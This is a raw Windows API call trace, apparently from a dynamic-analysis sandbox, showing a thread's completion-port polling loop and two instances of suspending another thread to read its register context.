	[0264.058] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0264.058] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0264.099] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0264.099] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0264.247] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0264.247] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0264.247] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0264.257] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0264.257] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0268.530] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0268.530] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0268.530] SetEvent (hEvent=0x190) returned 1
	[0268.530] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0268.562] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0268.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0268.914] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0268.915] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0268.915] SetEvent (hEvent=0x190) returned 1
	[0268.915] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0268.976] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0268.976] SetEvent (hEvent=0xe4) returned 1
	[0268.976] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0268.999] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0268.999] SetEvent (hEvent=0xe4) returned 1
	[0268.999] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.057] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.057] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.059] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.060] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.061] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.064] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.070] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.070] SetEvent (hEvent=0xf0) returned 1
	[0269.070] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.071] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0269.071] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0269.132] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0269.132] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.132] SetEvent (hEvent=0xf0) returned 1
	[0269.132] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.182] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.182] SetEvent (hEvent=0xf0) returned 1
	[0269.182] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.238] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0269.238] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0269.244] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0269.244] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.244] SetEvent (hEvent=0xf0) returned 1
	[0269.244] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.246] SetEvent (hEvent=0xf0) returned 1
	[0269.246] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.263] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.263] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.272] SetEvent (hEvent=0xe4) returned 1
	[0269.272] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.277] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.277] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.278] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.279] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.280] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.286] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.287] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.287] SetEvent (hEvent=0x188) returned 1
	[0269.287] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.289] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0269.289] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0269.493] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0269.493] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.493] SetEvent (hEvent=0x188) returned 1
	[0269.493] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.528] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0269.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0269.576] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0269.576] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.576] SetEvent (hEvent=0x188) returned 1
	[0269.576] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.609] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0269.610] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0269.691] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0269.691] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.691] SetEvent (hEvent=0x188) returned 1
	[0269.691] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.725] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.725] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.759] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.759] SetEvent (hEvent=0x188) returned 1
	[0269.759] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.793] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.793] SetEvent (hEvent=0x188) returned 1
	[0269.793] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0269.997] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0269.997] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b0) returned 1
	[0269.997] SuspendThread (hThread=0x1b0) returned 0x0
	[0269.997] GetThreadContext (in: hThread=0x1b0, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70707ff468, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0270.074] ResumeThread (hThread=0x1b0) returned 0x1
	[0270.074] CloseHandle (hObject=0x1b0) returned 1
	[0270.074] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.103] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.103] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b0) returned 1
	[0270.103] SuspendThread (hThread=0x1b0) returned 0x0
	[0270.103] GetThreadContext (in: hThread=0x1b0, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70707ff6e8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0270.107] ResumeThread (hThread=0x1b0) returned 0x1
	[0270.107] CloseHandle (hObject=0x1b0) returned 1
	[0270.107] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.153] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.153] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.189] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.189] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.223] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.223] SetEvent (hEvent=0x17c) returned 1
	[0270.223] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.258] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.258] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.301] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0270.301] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0270.549] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0270.550] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.550] SetEvent (hEvent=0x1a0) returned 1
	[0270.550] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.647] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.647] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.734] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0270.734] SetEvent (hEvent=0x1a0) returned 1
	[0270.734] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0270.786] timeEndPeriod (uPeriod=0x1) returned 0x0
